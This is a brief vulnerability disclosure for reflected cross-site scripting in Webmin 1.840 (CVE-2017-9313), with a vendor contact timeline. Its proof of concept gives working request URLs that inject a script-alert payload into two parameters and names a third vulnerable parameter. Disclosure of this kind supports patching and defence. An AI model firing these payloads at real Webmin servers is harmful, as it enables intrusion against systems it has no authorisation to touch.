Vulnerability type: Reflected Cross Site Scripting ------------------------ Product: Webmin ------------------------ Affected version: Webmin 1.840 and possibly earlier ------------------------ Patched version: Webmin 1.850 ------------------------ Credit: Andy Tan ------------------------ CVE ID: CVE-2017-9313 ------------------------ =============== Proof of Concept ================ Vulnerable Modules: https://192.168.1.20:10000/man/view_man.cgi?page=foo&sec=<script>alert('xss')</script> https://192.168.1.20:10000/webmin/change_referers.cgi?referer=0&referers=<script>alert('xss')</script> https://192.168.1.20:10000/acl/save_user.cgi (Vulnerable 'name' parameter) Vendor contact timeline: ------------------------ 2017-06-12: Contacted vendor. 2017-06-28: Vendor released new patch. 2017-07-02: Public disclosure.